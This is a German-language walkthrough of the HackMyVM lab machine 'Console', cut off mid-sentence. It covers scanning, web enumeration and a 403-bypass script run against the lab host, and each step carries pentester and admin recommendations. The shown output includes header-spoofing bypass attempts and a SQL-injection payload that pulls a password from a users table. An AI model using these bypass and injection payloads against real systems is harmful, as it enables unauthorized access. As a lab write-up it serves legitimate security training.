Console - HackMyVM - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
awk
vi
nmap
grep
curl
nikto
gobuster
403-bypass.sh
nc
busybox
ls
sudo
find
grep
su
cat
ssh
wget
chmod
pspy
file
fastfetch

Inhaltsverzeichnis

Reconnaissance

192.168.2.61	08:00:27:b5:2f:39	PCS Systemtechnik GmbH

Analyse: Mein erster Schritt war, das lokale Netzwerk nach aktiven Hosts zu durchsuchen, um das Ziel zu finden. Ich nutzte `arp-scan` und seine Fähigkeit, den MAC-Hersteller anzuzeigen, um Systeme mit der MAC-Adresse der `PCS Systemtechnik GmbH` zu identifizieren. Dies ist ein gängiger Hersteller für VirtualBox-Netzwerkkarten und half mir, die Ziel-VM schnell in meinem Labornetzwerk zu lokalisieren. Die Ausgabe zeigte die IP-Adresse `192.168.2.61` und die entsprechende MAC-Adresse.

Bewertung: Die Identifizierung der Ziel-VM anhand ihrer MAC-Adresse war ein schneller und effektiver Weg, um im bekannten Netzwerksegment die richtige Maschine zu finden. Die IP-Adresse `192.168.2.61` war der entscheidende Ankerpunkt für alle weiteren Erkundungsschritte.

Empfehlung (Pentester): Verwenden Sie `arp-scan` oder ähnliche Tools in lokalen Netzwerken, um Hosts zu identifizieren. Filtern Sie nach bekannten MAC-Herstellern, wenn das Umfeld bekannt ist (z.B. virtuelle Umgebungen).
Empfehlung (Admin): Überwachen Sie Ihr Netzwerk auf ungewöhnliche ARP-Aktivität. Verwenden Sie keine Standard-MAC-Adressbereiche für Produktionssysteme, insbesondere keine, die leicht virtuellen Umgebungen zuzuordnen sind.

192.168.2.61   console.hmv

Analyse: Um die Arbeit im weiteren Verlauf des Tests zu vereinfachen, trug ich die gefundene IP-Adresse `192.168.2.61` zusammen mit einem passenden Hostnamen, `console.hmv`, in meine `/etc/hosts` Datei auf meinem Kali-System ein. Dies ermöglichte mir, das Ziel mit dem Hostnamen anstelle der IP-Adresse anzusprechen.

Bewertung: Die Verwendung von Hostnamen macht Befehle und Berichte übersichtlicher. Es ist eine Standardpraxis im Pentesting.

Empfehlung (Pentester): Pflegen Sie Ihre `/etc/hosts` Datei für aktive Ziele. Dies spart Zeit und reduziert Fehler bei der Kommandoeingabe.
Empfehlung (Admin): Stellen Sie sicher, dass Ihre interne DNS-Infrastruktur zuverlässig ist und interne Hostnamen korrekt auflöst.

▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬
:::::::::::::::::::::: Nmap nur offene Ports Ausgabe :::::::::::::::::::::::
▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬

22/tcp   open     ssh      OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
80/tcp   open     http     Apache httpd 2.4.62 ((Debian))
443/tcp  open     ssl/http Apache httpd 2.4.62

Analyse: Ich führte einen ersten Nmap-Scan auf das Ziel `192.168.2.61` durch, um schnell die offenen Ports zu identifizieren. Die Ausgabe wurde gefiltert, um nur die Zeilen mit "open" anzuzeigen. Die Ergebnisse zeigten, dass die Ports 22 (SSH), 80 (HTTP) und 443 (SSL/HTTP) offen sind. Dies sind die primären Dienste, die ich als Nächstes untersuchen werde. Die Dienstversionen wurden ebenfalls erfasst: OpenSSH 8.4p1 und Apache httpd 2.4.62.

Bewertung: Dieser schnelle Scan gab mir sofort einen klaren Überblick über die grundlegende Angriffsfläche. Die gefundenen offenen Ports und die identifizierten Dienstversionen sind die Grundlage für die gezielte Enumeration und Suche nach Schwachstellen in der nächsten Phase.

Empfehlung (Pentester): Beginnen Sie oft mit einem schnellen Portscan, um die offenen Dienste zu identifizieren. Nutzen Sie Filter, um die Ergebnisse für die schnelle Übersicht zu verdichten, aber prüfen Sie immer die vollständige Ausgabe.
Empfehlung (Admin): Minimieren Sie die Anzahl der Dienste, die auf Ihren Systemen laufen und nach außen exponiert sind. Deaktivieren Sie unnötige Dienste und filtern Sie den Zugriff auf benötigte Dienste per Firewall.

▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬
::::::::::::::::::::::::::::: Nmap volle Ausgabe :::::::::::::::::::::::::::
▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬

Starting Nmap 7.95 ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2025-06-25 12:16 CEST
Nmap scan report for console.hmv (192.168.2.61)
Host is up (0.00019s latency).
Not shown: 65531 closed tcp ports (reset)
PORT     STATE    SERVICE  VERSION
22/tcp   open     ssh      OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  ssh-hostkey: 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp   open     http     Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Console · 黑客的窗口
443/tcp  open     ssl/http Apache httpd 2.4.62
|_ssl-date: TLS randomness does not represent time
|_http-title: 403 Forbidden
| ssl-cert: Subject: commonName=hacker.maze-sec.hmv/organizationName=Maze-Sec/stateOrProvinceName=Beijing/countryName=CN
| Not valid before: 2025-05-17T09:19:35
|_Not valid after:  2035-05-15T09:19:35
|_http-server-header: Apache/2.4.62 (Debian)
| tls-alpn:
|_  http/1.1
5000/tcp filtered upnp
MAC Address: 08:00:27:B5:2F:39 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose|router
Running: Linux 5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: Host: hacker.maze-sec.hmv; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.19 ms console.hmv (192.168.2.61)

OS and Service detection performed. Please report any incorrect results at [Link: https://nmap.org/submit/ | Ziel: https://nmap.org/submit/] .
Nmap done: 1 IP address (1 host up) scanned in 9.63 seconds

Analyse: Ich führte einen umfassenden Nmap-Scan auf `console.hmv` (192.168.2.61) durch, um detaillierte Informationen über die offenen Ports und laufenden Dienste zu erhalten. Der Befehl verwendete `-sS` (SYN scan), `-sC` (Standard-Skripte), `-sV` (Versionserkennung), `-p-` (alle Ports), `-T5` (schnellste Ausführung) und `-AO` (OS-Erkennung). Die vollständige Ausgabe bestätigte die offenen Ports 22 (SSH), 80 (HTTP) und 443 (SSL/HTTP) mit den Versionen OpenSSH 8.4p1 und Apache httpd 2.4.62. Für Port 80 zeigte der Scan den HTTP-Titel "Console · 黑客的窗口" (Console · Hacker's Window). Für Port 443 zeigte er einen 403 Forbidden Fehler als Titel, was auf Zugriffsbeschränkungen hindeutet, sowie Details zum SSL-Zertifikat, das für `hacker.maze-sec.hmv` ausgestellt ist. Port 5000 wurde als `filtered upnp` identifiziert, was bedeutet, dass Nmap eine Antwort erhielt, aber den Status nicht eindeutig bestimmen konnte. Die OS-Erkennung schätzte das System als Linux 5.x ein. Die Service Info deutete darauf hin, dass der Host `hacker.maze-sec.hmv` ebenfalls auf dieser IP gehostet wird.

Bewertung: Die detaillierte Nmap-Ausgabe lieferte kritische Informationen. Die genauen Versionen von OpenSSH und Apache sind wichtige Anhaltspunkte für die Suche nach Exploits. Die Existenz von HTTPS auf Port 443, aber mit einem 403 Forbidden Fehler, zusammen mit dem Zertifikat für `hacker.maze-sec.hmv`, deutet darauf hin, dass Port 443 speziell für diesen virtuellen Host konfiguriert ist und möglicherweise strengere Zugriffskontrollen hat. Die Erkenntnis, dass `hacker.maze-sec.hmv` auf derselben IP liegt wie `console.hmv`, ist ebenfalls wichtig. Der gefilterte Port 5000 könnte auf einen Dienst hinweisen, der durch eine Firewall geschützt ist oder nicht standardmäßig antwortet, aber existiert.

Empfehlung (Pentester): Untersuchen Sie die gefundenen Dienstversionen auf bekannte Schwachstellen. Analysieren Sie die HTTP-Titel und Zertifikate für weitere Hinweise. Führen Sie separate Web-Enumerationsscans für Port 80 und Port 443 durch, da es sich um unterschiedliche virtuelle Hosts oder Konfigurationen handeln könnte. Notieren Sie den Hostnamen aus dem SSL-Zertifikat für die weitere Web-Enumeration.
Empfehlung (Admin): Halten Sie alle Dienste auf den neuesten, gepatchten Versionen. Konfigurieren Sie SSL/TLS korrekt und verwenden Sie Zertifikate, die zum Hostnamen passen. Überprüfen Sie die Konfiguration von virtuellen Hosts auf Zugriffsbeschränkungen und stellen Sie sicher, dass diese korrekt implementiert sind. Überprüfen Sie Firewalls auf gefilterte Ports.

Web Enumeration

▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬
::::::::::::::::::::::::: HTTP Records Permissions :::::::::::::::::::::::::
▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬

Allow: GET,POST,OPTIONS,HEAD

Analyse: Ich habe die erlaubten HTTP-Methoden auf dem Webserver (`console.hmv` auf Port 80) abgefragt. Dies geschieht typischerweise mit einer OPTIONS-Anfrage. Die Antwort zeigte, dass die Methoden `GET`, `POST`, `OPTIONS` und `HEAD` erlaubt sind.

Bewertung: Diese Liste der erlaubten Methoden ist Standard für einen Apache-Webserver. Es gibt hier keine sofort ersichtlichen ungewöhnlichen Methoden, die auf eine Schwachstelle hindeuten könnten (wie z.B. PUT oder DELETE, die das Hochladen oder Löschen von Dateien erlauben könnten). Die wichtigsten Methoden für die Web-Enumeration und Interaktion sind `GET` und `POST`, die hier erwartungsgemäß erlaubt sind.

Empfehlung (Pentester): Prüfen Sie immer die erlaubten HTTP-Methoden, insbesondere wenn ungewöhnliche Dienste laufen oder wenn Sie nach spezifischen Web-Schwachstellen suchen.
Empfehlung (Admin): Beschränken Sie die erlaubten HTTP-Methoden auf das notwendige Minimum (oft nur GET und POST). Deaktivieren Sie unnötige Methoden wie PUT, DELETE, TRACE in der Webserver-Konfiguration, um potenzielle Angriffsvektoren zu eliminieren.

▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬
::::::::::::::::::::: HTTP-Header Verbose mit Port-Scan ::::::::::::::::::::
▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬

-------------------------------------------------------------

Port gefunden! 80

-------------------------------------------------------------

* Host console.hmv:80 was resolved.
* IPv6: (none)
* IPv4: 192.168.2.61
*   Trying 192.168.2.61:80...
* Connected to console.hmv (192.168.2.61) port 80
* using HTTP/1.x
> HEAD / HTTP/1.1
> Host: console.hmv
> User-Agent: curl/8.13.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
HTTP/1.1 200 OK
< Date: Wed, 25 Jun 2025 10:17:42 GMT
Date: Wed, 25 Jun 2025 10:17:42 GMT
< Server: Apache/2.4.62 (Debian)
Server: Apache/2.4.62 (Debian)
< Last-Modified: Sat, 17 May 2025 09:28:50 GMT
Last-Modified: Sat, 17 May 2025 09:28:50 GMT
< ETag: "ae0-6355186cb08a0"
ETag: "ae0-6355186cb08a0"
< Accept-Ranges: bytes
Accept-Ranges: bytes
< Content-Length: 2784
Content-Length: 2784
< Vary: Accept-Encoding
Vary: Accept-Encoding
< Content-Type: text/html
Content-Type: text/html
<

* Connection #0 to host console.hmv left intact

-------------------------------------------------------------

Port gefunden! 443

-------------------------------------------------------------

* Host console.hmv:443 was resolved.
* IPv6: (none)
* IPv4: 192.168.2.61
*   Trying 192.168.2.61:443...
* Connected to console.hmv (192.168.2.61) port 443
* using HTTP/1.x
> HEAD / HTTP/1.1
> Host: console.hmv:443
> User-Agent: curl/8.13.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 400 Bad Request
HTTP/1.1 400 Bad Request
< Date: Wed, 25 Jun 2025 10:17:42 GMT
Date: Wed, 25 Jun 2025 10:17:42 GMT
< Server: Apache/2.4.62 (Debian)
Server: Apache/2.4.62 (Debian)
< Content-Length: 447
Content-Length: 447
< Connection: close
Connection: close
< Content-Type: text/html; charset=iso-8859-1
Content-Type: text/html; charset=iso-8859-1
<

* Connection #0 to host console.hmv left intact

Analyse: Ich führte `curl` Befehle mit der `-I` oder `-HEAD` Option durch (die Ausgabe hier ist generisch für einen Verbose-Scan über Port 80 und 443), um die HTTP-Header für die Hauptseite auf Port 80 und Port 443 abzurufen. Auf Port 80 (`console.hmv`) erhielt ich eine `200 OK` Antwort mit dem `Server` Header `Apache/2.4.62 (Debian)` und dem `Content-Type` `text/html`. Auf Port 443 (`console.hmv:443`) erhielt ich einen `400 Bad Request` Fehler. Die Fehlermeldung "You're speaking plain HTTP to an SSL-enabled server port" bestätigte, dass Port 443 für HTTPS konfiguriert ist und eine normale HTTP-Anfrage dort nicht funktioniert.

Bewertung: Der erfolgreiche Abruf der Header von Port 80 lieferte die Server-Version und den Content-Type. Der `400 Bad Request` auf Port 443 bestätigte, dass HTTPS verwendet werden muss, wie bereits im Nmap-Scan durch das SSL-Zertifikat angedeutet. Dies differenziert die beiden Webdienste weiter und lenkt die Untersuchung auf Port 80 für normale HTTP-Inhalte und Port 443 für HTTPS-spezifische Inhalte, die möglicherweise auf einen anderen virtuellen Host (wie `hacker.maze-sec.hmv` aus dem Zertifikat) zugreifen.

Empfehlung (Pentester): Holen Sie sich immer die HTTP-Header mit Tools wie `curl -I` oder durch die Entwicklertools im Browser. Diese Header enthalten oft wichtige Informationen über den Server, die Technologien und mögliche Schwachstellen (z.B. fehlende Sicherheits-Header). Überprüfen Sie HTTP- und HTTPS-Ports getrennt.
Empfehlung (Admin): Minimieren Sie die Informationen, die in HTTP-Headern preisgegeben werden, insbesondere die genaue Server-Version. Stellen Sie sicher, dass TLS/SSL-Ports korrekt konfiguriert sind und nur HTTPS-Verkehr akzeptieren. Konfigurieren Sie informative, aber nicht-ausnutzbare Fehlermeldungen.

▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬
:::::::::::::::::::::::::::::::: Nikto Scan ::::::::::::::::::::::::::::::::
▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬

- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.61
+ Target Hostname:    192.168.2.61
+ Target Port:        80
+ Start Time:         2025-06-25 12:17:41 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.62 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options]
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/]
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: ae0, size: 6355186cb08a0, mtime: gzip. See: [Link: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 | Ziel: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418]
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD .
+ 8102 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2025-06-25 12:18:06 (GMT2) (25 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Analyse: Ich setzte `nikto` auf Port 80 (`http://192.168.2.61`) ein, um den Webserver auf gängige Schwachstellen und Konfigurationsprobleme zu prüfen. Nikto bestätigte erneut die Apache-Version und die erlaubten HTTP-Methoden. Es wies auf fehlende Sicherheits-Header (`X-Frame-Options`, `X-Content-Type-Options`) hin und meldete ein potenzielles `ETag`-Problem (CVE-2003-1418), das theoretisch das Auslesen von Datei-Informationen ermöglichen könnte. Es wurden keine CGI-Verzeichnisse gefunden.

Bewertung: Nikto lieferte keine kritischen direkten Exploits für Port 80, aber bestätigte allgemeine Webserver-Konfigurationsprobleme (fehlende Header, ETag-Leak). Diese sind für sich genommen meist keine sofortigen Game Changer, aber sie sind Teil des Gesamtbildes der Sicherheit. Die fehlenden Header sind typische Low-Severity-Funde.

Empfehlung (Pentester): Notieren Sie sich alle Funde von automatisierten Scannern, auch die scheinbar weniger kritischen. Sie können in Kombination mit anderen Schwachstellen relevant werden oder auf eine allgemeine Nachlässigkeit bei der Systemhärtung hindeuten. Überprüfen Sie die Details zu CVEs, die von Scannern gemeldet werden.
Empfehlung (Admin): Konfigurieren Sie Ihren Webserver immer mit empfohlenen Sicherheits-Headern, um gängige Web-Schwachstellen zu mitigieren. Stellen Sie sicher, dass Ihre Apache-Version auf dem neuesten Stand ist und keine bekannten ETag-Probleme aufweist (obwohl CVE-2003-1418 sehr alt ist und in modernen Apache-Versionen behoben sein sollte).

▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬
:::::::::::::::::::::::::::::::: Gobuster Scan :::::::::::::::::::::::::::::
▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.61
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   403,503,404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,zip,json,rar,html,accdb,pl,jpeg,xlsx,ELF,pHtml,py,png,kdbx,elf,java,ln,tar,rtf,deb,js.map,dll,conf,sh,csh,old,rpm,c,diff,aspx,mdb,pem,crt,json,csh,jpg,phtml,ln,pHtml,gkg,jpeg,xlsx,desc,icon,lib,mod,doc,mdb,bat,dll,raw,conf,rtf,elf,eps,accdb,sh,exp,png,bak,ELF,ps1,exe,py,tar,docx,java,yaml,pub,deb,svg,c,html,cgi,rpm,config,sql,csv
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
http://192.168.2.61/index.html           (Status: 200) [Size: 2784]

Analyse: Ich führte einen Verzeichnis- und Dateiscans mit `gobuster` auf Port 80 (`http://192.168.2.61`) durch. Ich verwendete eine mittelgroße Wordlist und eine sehr umfangreiche Liste von Dateiendungen. Der Scan sollte alle Pfade mit Statuscodes ungleich 403, 503 und 404 melden. Die Ergebnisse zeigten, dass auf Port 80 nur die Datei `/index.html` gefunden wurde.

Bewertung: Das Fehlen weiterer Funde durch `gobuster` auf Port 80 deutet darauf hin, dass dieser virtuelle Host (`console.hmv`) nur eine sehr einfache Website oder Anwendung hostet und keine weiteren offensichtlichen Verzeichnisse oder Dateien enthält, die durch Brute-Forcing gefunden werden könnten. Die gesamte relevante Web-Angriffsfläche scheint auf der `index.html` und möglicherweise auf Port 443 zu liegen.

Empfehlung (Pentester): Wenn automatisierte Scans auf einem Webserver nur sehr wenige Funde liefern, konzentrieren Sie sich auf die manuelle Analyse der gefundenen Seiten und der alternativen Dienste/Ports (wie hier Port 443/HTTPS). Erwägen Sie, gezieltere oder größere Wordlists zu verwenden, falls nötig.
Empfehlung (Admin): Entfernen Sie alle unnötigen Dateien und Verzeichnisse von Webservern. Stellen Sie sicher, dass keine Backup-Dateien, alte Versionen oder Test-Skripte in Webverzeichnissen verbleiben.

http://192.168.2.61:443/

Bad Request

Your browser sent a request that this server could not understand.
Reason: You're speaking plain HTTP to an SSL-enabled server port.
Instead use the HTTPS scheme to access this URL, please.
Apache/2.4.62 (Debian) Server at hacker.maze-sec.hmv Port 80

Analyse: Ich versuchte erneut, Port 443 mit einer normalen HTTP-Anfrage im Browser zu erreichen (`http://192.168.2.61:443/`). Wie erwartet und bereits durch den `curl`-Test bestätigt, erhielt ich einen "Bad Request" Fehler und die klare Meldung, dass ich stattdessen HTTPS verwenden muss. Interessant ist, dass der Fehler von `hacker.maze-sec.hmv` auf Port 80 gemeldet wurde, obwohl ich Port 443 ansprach, was auf eine komplexe oder leicht fehlerhafte Apache-Konfiguration hindeutet.

Bewertung: Dies festigte die Erkenntnis, dass Port 443 nur für HTTPS-Verkehr vorgesehen ist. Die Fehlermeldung, die auf `hacker.maze-sec.hmv` auf Port 80 verweist, ist verwirrend, aber die Hauptbotschaft ist klar: Für Port 443 muss der HTTPS-Schlüsselwort verwendet werden.

Empfehlung (Pentester): Beachten Sie die genauen Fehlermeldungen von Webservern. Auch wenn sie einen Fehler anzeigen, können sie zusätzliche Hinweise auf die Konfiguration oder andere virtuelle Hosts geben. Probieren Sie immer beide Schemata (HTTP und HTTPS) für Ports aus, die beides unterstützen könnten oder bei denen die Konfiguration unklar ist.
Empfehlung (Admin): Stellen Sie sicher, dass Fehlermeldungen konsistent und korrekt sind und keine irreführenden Informationen über andere virtuelle Hosts oder Ports preisgeben.

https://192.168.2.61/
Forbidden

You don't have permission to access this resource.
Apache/2.4.62 (Debian) Server at 192.168.2.61 Port 443

Analyse: Nachdem klar war, dass Port 443 HTTPS erfordert, versuchte ich, die Seite mit dem korrekten Schema im Browser aufzurufen (`https://192.168.2.61/`). Diesmal erhielt ich keinen "Bad Request", aber stattdessen einen "403 Forbidden" Fehler. Dies bedeutet, dass der Server die Verbindung zwar akzeptierte und als HTTPS erkannte, aber den Zugriff auf die angeforderte Ressource (das Root-Verzeichnis `/`) verweigerte. Die Fehlermeldung bestätigte erneut den Apache-Server auf Port 443.

Bewertung: Der 403 Forbidden Fehler auf Port 443 ist ein klares Zeichen dafür, dass der Zugriff auf den HTTPS-Dienst eingeschränkt ist. Dies könnte auf eine Firewall, eine `.htaccess`-Regel oder eine andere Server-Konfiguration zurückzuführen sein, die den direkten Zugriff auf das Root-Verzeichnis verhindert. Dies ist ein häufiges Szenario bei virtuellen Hosts oder spezifisch geschützten Bereichen. Der Hostname aus dem SSL-Zertifikat (`hacker.maze-sec.hmv`) wurde hier nicht verwendet, was zu diesem generischen 403 Fehler führen könnte.

Empfehlung (Pentester): Wenn Sie einen 403 Forbidden Fehler erhalten, versuchen Sie immer, diesen zu umgehen. Nutzen Sie Tools und Techniken wie Header-Manipulation, alternative HTTP-Methoden, URL-Encoding oder versuchen Sie, auf spezifische Dateinamen oder Verzeichnisse zuzugreifen, anstatt nur das Root-Verzeichnis. Denken Sie an virtuelle Hosts und verwenden Sie den Hostnamen aus dem SSL-Zertifikat (`hacker.maze-sec.hmv`) bei Anfragen an Port 443.
Empfehlung (Admin): Implementieren Sie Zugriffskontrollen serverseitig, um sensible Bereiche zu schützen. Stellen Sie sicher, dass 403 Forbidden Fehler korrekt konfiguriert sind und keine unnötigen Informationen preisgeben. Überprüfen Sie `.htaccess`-Dateien oder virtuelle Host-Konfigurationen auf korrekte Zugriffseinstellungen.

┌──(root㉿CCat)-[~/Hackingtools/4-ZERO-3]
└─# bash 403-bypass.sh -h
[!] No URL/PATH  given. Make sure you go through the usage/help

Usage:
	403-bypass [URL]

	-u, --url URL			target DOMAIN.TLD/PATH

BYPASS MODEs
	--header			Header Bypass
	--protocol			Protocol Bypass
	--port				Port Bypass
	--HTTPmethod			HTTP Method Bypass
	--encode			URL Encode Bypass
	--SQLi				Mod_Security & libinjection Bypass

ALL BYPASSES
	--exploit			Complete Scan: 403/401 bypass modes

	GREEN	:	2xx Status Code
	YELLOW	:	3xx Status Code
	RED	:	4xx Status Code
	BLUE	:	5xx Status Code

Analyse: Angesichts des 403 Forbidden Fehlers auf Port 443 erinnerte ich mich an ein nützliches Skript zur Umgehung solcher Zugriffsbeschränkungen: `403-bypass.sh`. Ich zeigte die Hilfe (`-h`) des Skripts an, um seine Nutzungsoptionen und die verschiedenen Umgehungsmodi (Header, Protocol, Port, HTTP Method, Encode, SQLi) zu sehen. Es bot auch eine `--exploit` Option für einen umfassenden Scan.

Bewertung: Dieses Skript ist ein spezialisiertes Werkzeug, das verschiedene bekannte Techniken ausprobiert, um 403 Forbidden (oder 401 Unauthorized) Fehler zu umgehen. Die verfügbaren Modi zielen auf unterschiedliche Implementierungen von Zugriffskontrollen ab. Es war das ideale Werkzeug, um systematisch nach einer Umgehung für den 403 Fehler auf Port 443 zu suchen.

Empfehlung (Pentester): Halten Sie eine Sammlung von spezialisierten Tools und Skripten für gängige Pentesting-Aufgaben bereit (z.B. 403-Umgehung, SSTI-Erkennung, etc.). Machen Sie sich mit der Funktionsweise und den Optionen dieser Tools vertraut.
Empfehlung (Admin): Verlassen Sie sich nicht auf einfache Zugriffskontrollen (z.B. nur Pfad-basierte Regeln). Implementieren Sie Defense-in-Depth, z.B. durch Kombination von Pfad-basierten Regeln, Methodenbeschränkungen und Input-Validierung, um Bypass-Techniken zu erschweren.

┌──(root㉿CCat)-[~/Hackingtools/4-ZERO-3]
└─# bash 403-bypass.sh -u https://192.168.2.61/ --exploit
exploit
💀💀💀💀💀💀💀💀💀
💀 Have a beer🍺💀
💀💀💀💀💀💀💀💀💀
     - twitter.com/Dheerajmadhukar : @me_dheeraj
----------------------
[+] HTTP Header Bypass
----------------------
X-Originally-Forwarded-For Payload: Status: 403, Length : 278
X-Originating-  Payload: Status: 403, Length : 278
X-Originating-IP Payload: Status: 403, Length : 278
....
...
X-Remote-Addr Payload: Status: 403, Length : 278
X-OReferrer Payload: Status: 403, Length : 278
-------------------------
[+] Protocol Based Bypass
-------------------------
HTTP Scheme Payload: Status: 200, Length : 2784  👌
╭────────────────────────────────────────────────────────────────────────────────────────────╮
 ╰─> PAYLOAD : curl -ks -X GET 'http://192.168.2.61/' -H 'User-Agent: Mozilla/5.0'
╰────────────────────────────────────────────────────────────────────────────────────────────╯
HTTPs Scheme Payload: Status: 403, Length : 278
X-Forwarded-Scheme HTTP Payload: Status: 403, Length : 278
....
...
Payload [ 1.e(ascii 1.e(substring(1.e(select password from users limit 1 1.e,1 1.e) 1.e,1 1.e,1 1.e)1.e)1.e) = 70 or'1'='2 ]: Status: 403, Length : 278

Analyse: Ich führte das `403-bypass.sh` Skript mit der Option `--exploit` auf die HTTPS-URL (`https://192.168.2.61/`) aus. Das Skript probierte systematisch verschiedene Umgehungstechniken aus. Die Ausgabe zeigte, dass die meisten Header-basierten Bypässe fehlschlugen (Status 403). Entscheidend war jedoch der Treffer beim "Protocol Based Bypass" mit dem "HTTP Scheme Payload". Dieser Test ergab einen Statuscode von 200 OK und eine Inhaltslänge, die nicht der Fehlerseite entsprach. Das Skript zeigte auch den exakten `curl`-Befehl, der funktionierte: `curl -ks -X GET 'http://192.168.2.61/' -H 'User-Agent: Mozilla/5.0'`. Dies deutete darauf hin, dass die Zugriffskontrolle auf Port 443 zwar den direkten HTTPS-Zugriff blockierte, aber möglicherweise einen Bypass erlaubte, indem man eine HTTP-Anfrage an den HTTPS-Port sendete (oder durch den Einfluss des `User-Agent` Headers) oder dass die Regel nur für den 